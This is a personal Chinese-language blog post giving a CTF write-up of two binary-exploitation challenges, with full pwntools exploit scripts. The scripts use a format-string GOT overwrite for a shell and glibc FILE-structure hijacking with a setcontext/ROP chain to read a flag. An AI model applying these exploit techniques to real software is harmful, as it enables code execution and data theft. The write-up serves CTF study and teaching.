我又来更新了 感觉过的好快 一下就又好久没更了 周末搞了下强网杯 搞不来 我真的菜啊感觉脑子是真的笨学习也没有很努力

flag-market

image-20251020223937551

这里可以看到存在一个scanf溢出

image-20251020224023304

image-20251020224044834

这里可以看到可以溢出到format(我刚开始直接溢出到stdout去了 结果发现只能覆盖一个字节 不懂搞不来)

image-20251020224437671

所以就可以搭配printf进行格式化字符串漏洞 不过注意这种格式化字符串都得要记得换下libc 没给的话可以看看给的dockerfile或者别的题的libc(一般来说的话可能是同一个libc)

刚开始我想的是先泄露libc然后直接atoi直接覆盖成system,然后再输入bin/sh就好了 但是有个dword_40430C = 1的限制 所以还是得要把exit覆盖成main再循环一遍。

image-20251021000441484

经过动调发现 这里第二次输入后s的值参数位置是在第12个所以我们格式化字符串就改写这里 先把exit改成main函数

1
2
3
4
5
6
7
8
9
10
11
12
p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",b"-1")
p.sendlineafter("e report",b"a"*0x100+b'%' + str(0x139b).encode() + b'c%12$hn'+b"%45$p")

gdb.attach(p)
p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",p64(0x404090))
p.recvuntil("0x")
libc.address=int(p.recv(12),16)-0x2a28b
log.success("libc_base==>",hex(libc.address))
system=libc.sym['system']
log.success("system",hex(system))

同时还泄露一下libc(注意printf执行是在第二次输入完成之后 也就是输入好exit地址后)

第二次也是一样的覆盖 将atoi覆盖成system 最后输入bin/sh就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
filename = './chall'
p= process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
atoi=elf.got['atoi']
success("atoi",hex(atoi))
libc=elf.libc


p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",b"-1")
p.sendlineafter("e report",b"a"*0x100+b'%' + str(0x139b).encode() + b'c%12$hn'+b"%45$p")

#gdb.attach(p)
p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",p64(0x404090))
p.recvuntil("0x")
libc.address=int(p.recv(12),16)-0x2a28b
log.success("libc_base==>",hex(libc.address))
system=libc.sym['system']
log.success("system",hex(system))
low = libc.sym['system']&0xffff
high = (libc.sym['system']>>16)&0xffff
payload1=b"a"*0x100
payload1+=b'%' + str(low).encode() + b'c%12$hn'
payload1+=b'%' + str(0x10000-low+high).encode() + b'c%13$hn'

p.sendlineafter("2.exit",b"2")

p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",b"-1")

p.sendlineafter("e report",payload1)
#gdb.attach(p)

p.sendlineafter("2.exit",b"1")
p.sendlineafter("to pay?",p64(0x404080)+p64(0x404082))

p.sendlineafter("2.exit",b"/bin/sh")

p.interactive()

得到flag

image-20251021001100975

不过我看网上别的师傅的wp感觉简单多了,直接找到flag存储在堆的位置然后直接printf就泄露出来了

不过我不太清楚这个位置是咋找出来的 不过确实是在这里 那就简单了

image-20251020232412511

这里看到第九个参数和这个堆地址相近 所以可以泄露这个然后再加两个地址间的距离

image-20251020231822668

我们把printf的参数覆盖成堆地址即可泄露flag了 也就第12个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
filename = './chall'
p= process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
atoi=elf.got['atoi']
success("atoi",hex(atoi))
libc=elf.libc


#gdb.attach(c)
p.sendlineafter(b'2.exit',b"1")
p.sendlineafter(b'pay?',b'-1')

p.sendlineafter(b'report:',b'a'*0x100+b'%9$p-%12$s')

p.sendlineafter(b'2.exit',b"1")
p.sendlineafter(b'pay?',p64(0x4040c0))
p.recvuntil(b'\n')
heap = int(p.recvuntil(b'-', True).decode(),16)+0x1e0
#gdb.attach(c)
p.sendlineafter(b'2.exit',b"1")
p.sendlineafter(b'pay?', p64(heap))
p.interactive()


image-20251020235335053

得到flag

bph

一道堆题

这题也没给libc 你看其他题是啥libc自己猜吧

image-20251021001334548

调试发现这里的printf可以泄露栈地址

image-20251021001906888

最关键的就是这个add函数中的任意地址置零

image-20251021002340902

这里发现还有限制诶 一般思路都是利用setcontext 劫持执行流然后构造rop 这里高版本利用的就是setcontext+61

1
所以我们可以劫持_IO_2_1_stdi中的_IO_buf_base的最后一字节为0,劫持后,调用fgets(stdin)时就可以部分控制_IO_2_1_stdin,接下来就可以完全控制_IO_buf_base,将其指向_IO_2_1_stdout就可以控制_IO_2_1_stdout。在新版的glibc中,set_context使用的是rdx寄存器,找到一个合适的gadgets去控制rdx,在_IO_switch_to_wget_mode

image-20251021004136816

1
2
3
而`_IO_switch_to_wget_mode`函数被`IO_wfile_seekoff`调用,`IO_wfile_seekoff`正好在`vtable`表中
因此伪造`vtable`指向`_IO_wfile_jumps+0x10`的位置,那么当`puts`触发时调用`vtable+0x38`就是调用`_IO_wfile_jumps+0x48`,也就是调用`IO_wfile_seekoff`,在`_IO_wfile_seekoff`中
还有一些条件需要满足,首先`rcx`寄存器需要不为0,
1
puts函数调用的位置很多,有些位置就能满足这种条件,比如在edit中,strtol成功解析数值,就会使得rcx寄存器不为0

构造好io结构体然后orw就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding:utf8
from pwn import *

sh = process('./chall')
#sh = remote('47.94.214.30',38920)
context.log_level = 'debug'
sh.sendafter('token: ',b'a'*0x28)
sh.recvuntil(b'a'*0x28)
libc_addr = u64(sh.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0xaddae
print('libc_addr=',hex(libc_addr))
print('libc_base=',hex(libc_base))
_IO_2_1_stdin_addr = libc_base + 0x2038e0
_IO_2_1_stdout_addr = libc_base + 0x2045c0
_IO_2_1_stderr_addr = libc_base + 0x2044E0
_IO_buf_base_stdin_addr = _IO_2_1_stdin_addr + 0x38
_IO_file_finish_table_ptr = libc_base + 0x000000000202238
_IO_wfile_jumps = libc_base + 0x202228
set_context_xx = libc_base + 0x4A99D
#pop rsp ; cmovne rax, rdx ; pop rbp ; ret
pop_rsp = libc_base + 0x00000000000de080
print('set_context=',hex(set_context_xx))
pop_rdi = libc_base + 0x000000000010f78b
pop_rsi = libc_base + 0x0000000000110a7d
#pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pop_rdx = libc_base + 0x00000000000b503c
open_addr = libc_base + 0x11C8A0
read_addr = libc_base + 0x11BA80
write_addr = libc_base + 0x11C590
close_addr = libc_base + 0x116710

def add(size,content):
sh.sendlineafter('Choice:','1')
sleep(1)
sh.sendlineafter('Size:',str(size))
sleep(1)
sh.sendafter('Content:',content)
sleep(1)

def edit(index):
sh.sendlineafter('Choice:','2')
sleep(1)
#input()
sh.sendafter('Index:',index)
sleep(1)

rop_addr = _IO_2_1_stderr_addr + 0x8
flag_addr = rop_addr + 0xa8 #a8是下面到./flag前的长度
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(0)*4 + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr)
#rop = p64(pop_rdi) + p64(0) + p64(close_addr)
rop += b'./flag'
rop = rop.ljust(_IO_2_1_stdout_addr - rop_addr,b'\x00')

#hijack IO_stdin's buf_base
add(_IO_buf_base_stdin_addr + 1,'a') #这里就置劫持_IO_2_1_stdin中的_IO_buf_base的最后一字节为0
#hijack IO_stdin to point _IO_2_1_stdout_addr
sh.send(p64(rop_addr - 0x2)*4 + p64(_IO_2_1_stdout_addr+0xe8))#指向下面的 这里输入地方是stdin
sleep(1)
sh.sendlineafter('Choice:','')

fake_IO_stdout = p64(_IO_2_1_stderr_addr) + p64(0)*2 + p64(set_context_xx) + p64(_IO_2_1_stdout_addr)
fake_IO_stdout = fake_IO_stdout.ljust(0x88,b'\x00')
fake_IO_stdout += p64(_IO_2_1_stdout_addr + 0x60) #lock
fake_IO_stdout = fake_IO_stdout.ljust(0xa0,b'\x00')
fake_IO_stdout += p64(_IO_2_1_stdout_addr)

fake_IO_stdout += p64(pop_rsp) #set_context ret

fake_IO_stdout = fake_IO_stdout.ljust(0xd8,b'\x00')
fake_IO_stdout += p64(_IO_wfile_jumps + 0x10)
fake_IO_stdout += p64(_IO_2_1_stdout_addr) #0xe8
#input()
payload = b'1\n' + rop + fake_IO_stdout #最前面是两字节
edit(payload)

sh.interactive()

得到flag

image-20251021005149818

这题wp我基本参照别的师傅的 我觉得写的比别的wp详细多了,所以搬过来给自己看看 反正我写的博客应该也没人看吧
两个多月没发博客了 我好菜啊 有没有师傅可以互相交流学习一下 我本人比较社恐平时没有人交流所以真的挺需要的,关于里面有我的qq可以加。最后感谢你能看到这 希望能让你学到些东西。

1
2
3
参考网址:
https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-5
https://mp.weixin.qq.com/s/oHrFdG0vvHKNlWguUWVXAA